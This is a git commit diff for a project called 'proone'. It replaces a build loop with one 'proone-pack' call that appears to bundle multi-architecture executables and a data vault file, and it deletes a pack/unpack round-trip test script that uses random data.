* Remove proone-unpack

   * self test is done by proone-pack
* Impl: htbt@proone
* htbt: allocate large buffer first by deault
* htbt: use 0600 for NY_BIN as the image is not an executable
* pack: return error when z_stream is cut short
* proone-pack: impl "nybin" file format

2 files changed, 2 insertions, 91 deletions

diff --git a/scripts/build-all.sh b/scripts/build-all.sh
index f3b0a51..146bdfb 100755
--- a/scripts/build-all.sh
+++ b/scripts/build-all.sh
@@ -55,7 +55,6 @@ PROONE_BINARCH_PREFIX="$PROONE_BINARCH_DIR/binarch"
 PROONE_DVAULT="$PROONE_PREFIX/dvault.bin"
 PROONE_TOOLS="
 	proone-pack
-	proone-unpack
 	proone-list-arch
 	proone-mkdvault
 	proone-ipaddr-arr
@@ -69,7 +68,7 @@ make distclean
 set -e
 
 # native build for tools
-./configure $PROONE_AM_CONF 
+./configure $PROONE_AM_CONF
 cd src
 make -j$(nproc) $PROONE_TOOLS
 cd ..
@@ -89,29 +88,4 @@ for (( i = 0; i < ARR_SIZE; i += 1 )); do
 done
 
 # pack
-for (( i = 0; i < ARR_SIZE; i += 1 )); do
-	this_arch="${ARCH_ARR[$i]}"
-	other_archs=""
-	rel="$PROONE_REL_PREFIX.$this_arch"
-	binarch="$PROONE_BINARCH_PREFIX.$this_arch"
-
-	for (( j = 0; j < ARR_SIZE; j += 1 )); do
-		if [ $i -eq $j ]; then
-			continue
-		fi
-		other_archs="$other_archs $PROONE_EXEC_PREFIX.${ARCH_ARR[$j]}"
-	done
-
-	"$PROONE_TOOLS_DIR/proone-pack" $other_archs > "$binarch"
-	binarch_size="$(stat -c "%s" "$binarch")"
-
-	cp -a "$PROONE_EXEC_PREFIX.$this_arch" "$rel"
-	# TODO: parameterise BIN_ALIGNMENT?
-	./src/build-utils.sh align-file 8 "$rel"
-	./src/build-utils.sh append-uint16 $DVAULT_SIZE "$rel"
-	./src/build-utils.sh append-uint16 0 "$rel"
-	./src/build-utils.sh append-uint32 $binarch_size "$rel"
-	cat "$PROONE_DVAULT" >> "$rel"
-	./src/build-utils.sh align-file 8 "$rel"
-	cat "$binarch" >> "$rel"
-done
+"$PROONE_TOOLS_DIR/proone-pack" "$PROONE_REL_PREFIX" "$PROONE_DVAULT" "$PROONE_EXEC_PREFIX".*
diff --git a/scripts/test_bin-archive.sh b/scripts/test_bin-archive.sh
deleted file mode 100755
index bbf56c1..0000000
--- a/scripts/test_bin-archive.sh
+++ /dev/null
@@ -1,63 +0,0 @@
-#!/bin/bash
-RND_BLOCK_SIZE=4096
-if [ -z "$RND_BIN_CNT_MIN" ]; then
-	RND_BIN_CNT_MIN=1
-fi
-if [ -z "$RND_BIN_CNT_MAX" ]; then
-	RND_BIN_CNT_MAX=20
-fi
-TEST_DIR="pack_test"
-BIN_PACK_DIR="$TEST_DIR/pack"
-BIN_UNPACK_DIR="$TEST_DIR/unpack"
-BIN_PREFIX="bin"
-BIN_ARCHIVE_PREFIX="bin_archive"
-SIZE_LOG="pack_test-size.log"
-if [ -z "$LISTARCH" ]; then
-	LISTARCH="../src/proone-list-arch"
-fi
-if [ -z "$PACKER" ]; then
-	PACKER="../src/proone-pack"
-fi
-if [ -z "$UNPACKER" ]; then
-	UNPACKER="../src/proone-unpack"
-fi
-ARCH_ARR=(`"$LISTARCH"`)
-
-if [ -d "$TEST_DIR" ]; then
-	rm -rf "$TEST_DIR/"*
-else
-	mkdir "$TEST_DIR"
-fi
-mkdir "$BIN_PACK_DIR" "$BIN_UNPACK_DIR"
-if [ $? -ne 0 ]; then
-	exit 2
-fi
-
-for arch in ${ARCH_ARR[@]}; do
-	bin_block_cnt="$(shuf -n1 -i $RND_BIN_CNT_MIN-$RND_BIN_CNT_MAX)" &&\
-		dd if=/dev/random of="$BIN_PACK_DIR/$BIN_PREFIX.$arch" iflag=fullblock bs=$RND_BLOCK_SIZE count=$bin_block_cnt
-	if [ $? -ne 0 ]; then
-		exit 2
-	fi
-done
-
-"$PACKER" "$BIN_PACK_DIR/$BIN_PREFIX."* | base64 > "$TEST_DIR/$BIN_ARCHIVE_PREFIX"
-if [ $? -ne 0 ]; then
-	exit 2;
-fi
-
-"$UNPACKER" "$BIN_UNPACK_DIR/$BIN_PREFIX" < "$TEST_DIR/$BIN_ARCHIVE_PREFIX"
-if [ $? -ne 0 ]; then
-	exit 2;
-fi
-
-for arch in ${ARCH_ARR[@]}; do
-	diff -q "$BIN_PACK_DIR/$BIN_PREFIX.$arch" "$BIN_UNPACK_DIR/$BIN_PREFIX.$arch"
-	if [ $? -ne 0 ]; then
-		exit 2;
-	fi
-done
-
-echo $(du -bs "$BIN_PACK_DIR" | awk '{print $1;}') $(wc -c "$TEST_DIR/$BIN_ARCHIVE_PREFIX" | awk '{print $1;}') >> "$SIZE_LOG"
-
-exit 0